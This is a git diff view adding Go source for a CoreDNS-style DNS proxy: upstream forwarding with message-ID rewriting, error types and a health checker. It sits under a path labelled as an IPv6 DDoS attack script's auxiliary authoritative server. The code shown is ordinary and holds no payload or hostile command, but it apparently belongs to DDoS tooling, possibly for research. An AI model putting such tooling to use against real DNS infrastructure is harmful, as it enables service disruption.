// records the origin Id before upstream.
|
||||
originId := state.Req.Id
|
||||
state.Req.Id = dns.Id()
|
||||
defer func() {
|
||||
state.Req.Id = originId
|
||||
}()
|
||||
|
||||
if err := pc.c.WriteMsg(state.Req); err != nil {
|
||||
pc.c.Close() // not giving it back
|
||||
if err == io.EOF && cached {
|
||||
return nil, ErrCachedClosed
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var ret *dns.Msg
|
||||
pc.c.SetReadDeadline(time.Now().Add(p.readTimeOut))
|
||||
for {
|
||||
ret, err = pc.c.ReadMsg()
|
||||
if err != nil {
|
||||
// For UDP, if the error is not a network error keep waiting for a valid response to prevent malformed
|
||||
// spoofs from blocking the upstream response.
|
||||
// In the case this is a legitimate malformed response from the upstream, this will result in a timeout.
|
||||
if proto == "udp" {
|
||||
if _, ok := err.(net.Error); !ok {
|
||||
continue
|
||||
}
|
||||
}
|
||||
pc.c.Close() // connection closed by peer, close the persistent connection
|
||||
if err == io.EOF && cached {
|
||||
return nil, ErrCachedClosed
|
||||
}
|
||||
|
||||
// recover the origin Id after upstream.
|
||||
if ret != nil {
|
||||
ret.Id = originId
|
||||
}
|
||||
return ret, err
|
||||
}
|
||||
// drop out-of-order responses
|
||||
if state.Req.Id == ret.Id {
|
||||
break
|
||||
}
|
||||
}
|
||||
// recovery the origin Id after upstream.
|
||||
ret.Id = originId
|
||||
|
||||
p.transport.Yield(pc)
|
||||
|
||||
rc, ok := dns.RcodeToString[ret.Rcode]
|
||||
if !ok {
|
||||
rc = strconv.Itoa(ret.Rcode)
|
||||
}
|
||||
|
||||
RequestCount.WithLabelValues(p.addr).Add(1)
|
||||
RcodeCount.WithLabelValues(rc, p.addr).Add(1)
|
||||
RequestDuration.WithLabelValues(p.addr, rc).Observe(time.Since(start).Seconds())
|
||||
|
||||
return ret, nil
|
||||
}
|
||||
|
||||
const cumulativeAvgWeight = 4
|
||||
24
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/proxy/error.go
Normal file
24
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/proxy/error.go
Normal file
@@ -0,0 +1,24 @@
|
||||
package proxy
|
||||
|
||||
import "errors"
|
||||
|
||||
var (
|
||||
// ErrNoHealthy means no healthy proxies left.
|
||||
ErrNoHealthy = errors.New("no healthy proxies")
|
||||
// ErrNoForward means no forwarder defined.
|
||||
ErrNoForward = errors.New("no forwarder defined")
|
||||
// ErrCachedClosed means cached connection was closed by peer.
|
||||
ErrCachedClosed = errors.New("cached connection was closed by peer")
|
||||
)
|
||||
|
||||
// Options holds various Options that can be set.
|
||||
type Options struct {
|
||||
// ForceTCP use TCP protocol for upstream DNS request. Has precedence over PreferUDP flag
|
||||
ForceTCP bool
|
||||
// PreferUDP use UDP protocol for upstream DNS request.
|
||||
PreferUDP bool
|
||||
// HCRecursionDesired sets recursion desired flag for Proxy healthcheck requests
|
||||
HCRecursionDesired bool
|
||||
// HCDomain sets domain for Proxy healthcheck requests
|
||||
HCDomain string
|
||||
}
|
||||
130
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/proxy/health.go
Normal file
130
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/proxy/health.go
Normal file
@@ -0,0 +1,130 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"ohmydns2/plugin/pkg/log"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// HealthChecker 检查上游是否健康
|
||||
type HealthChecker interface {
|
||||
Check(*Proxy) error
|
||||
SetTLSConfig(*tls.Config)
|
||||
GetTLSConfig() *tls.Config
|
||||
SetRecursionDesired(bool)
|
||||
GetRecursionDesired() bool
|
||||
SetDomain(domain string)
|
||||
GetDomain() string
|
||||
SetTCPTransport()
|
||||
GetReadTimeout() time.Duration
|
||||
SetReadTimeout(time.Duration)
|
||||
GetWriteTimeout() time.Duration
|
||||
SetWriteTimeout(time.Duration)
|
||||
}
|
||||
|
||||
// dnsHc is a health checker for a DNS endpoint (DNS, and DoT).
|
||||
type dnsHc struct {
|
||||
c *dns.Client
|
||||
recursionDesired bool
|
||||
domain string
|
||||
}
|
||||
|
||||
// NewHealthChecker returns a new HealthChecker based on transport.
|
||||
func NewHealthChecker(trans string, recursionDesired bool, domain string) HealthChecker {
|
||||
switch trans {
|
||||
case transport.DNS, transport.TLS:
|
||||
c := new(dns.Client)
|
||||
c.Net = "udp"
|
||||
c.ReadTimeout = 1 * time.Second
|
||||
c.WriteTimeout = 1 * time.Second
|
||||
|
||||
return &dnsHc{
|
||||
c: c,
|
||||
recursionDesired: recursionDesired,
|
||||
domain: domain,
|
||||
}
|
||||
}
|
||||
|
||||
log.Warningf("No healthchecker for transport %q", trans)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *dnsHc) SetTLSConfig(cfg *tls.Config) {
|
||||
h.c.Net = "tcp-tls"
|
||||
h.c.TLSConfig = cfg
|
||||
}
|
||||
|
||||
func (h *dnsHc) GetTLSConfig() *tls.Config {
|
||||
return h.c.TLSConfig
|
||||
}
|
||||
|
||||
func (h *dnsHc) SetRecursionDesired(recursionDesired bool) {
|
||||
h.recursionDesired = recursionDesired
|
||||
}
|
||||
func (h *dnsHc) GetRecursionDesired() bool {
|
||||
return h.recursionDesired
|
||||
}
|
||||
|
||||
func (h *dnsHc) SetDomain(domain string) {
|
||||
h.domain = domain
|
||||
}
|
||||
func (h *dnsHc) GetDomain() string {
|
||||
return h.domain
|
||||
}
|
||||
|
||||
func (h *dnsHc) SetTCPTransport() {
|
||||
h.c.Net = "tcp"
|
||||
}
|
||||
|
||||
func (h *dnsHc) GetReadTimeout() time.Duration {
|
||||
return h.c.ReadTimeout
|
||||
}
|
||||
|
||||
func (h *dnsHc) SetReadTimeout(t time.Duration) {
|
||||
h.c.ReadTimeout = t
|
||||
}
|
||||
|
||||
func (h *dnsHc) GetWriteTimeout() time.Duration {
|
||||
return h.c.WriteTimeout
|
||||
}
|
||||
|
||||
func (h *dnsHc) SetWriteTimeout(t time.Duration) {
|
||||
h.c.WriteTimeout = t
|
||||
}
|
||||
|
||||
// For HC, we send to . IN NS +[no]rec message to the upstream. Dial timeouts and empty
|
||||
// replies are considered fails, basically anything else constitutes a healthy upstream.
|
||||
|
||||
// Check is used as the up.Func in the up.Probe.
|
||||
func (h *dnsHc) Check(p *Proxy) error {
|
||||
err := h.send(p.addr)
|
||||
if err != nil {
|
||||
HealthcheckFailureCount.WithLabelValues(p.addr).Add(1)
|
||||
p.incrementFails()
|
||||
return err
|
||||
}
|
||||
|
||||
atomic.StoreUint32(&p.fails, 0)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *dnsHc) send(addr string) error {
|
||||
ping := new(dns.Msg)
|
||||
ping.SetQuestion(h.domain, dns.TypeNS)
|
||||
ping.MsgHdr.RecursionDesired = h.recursionDesired
|
||||
|
||||
m, _, err := h.c.Exchange(ping, addr)
|
||||
// If we got a header, we're alright, basically only care about I/O errors 'n stuff.
|
||||
if err != nil && m != nil {
|
||||
// Silly check, something sane came back.
|
||||
if m.Response || m.Opcode == dns.OpcodeQuery {
|
||||
err = nil
|
||||
}
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user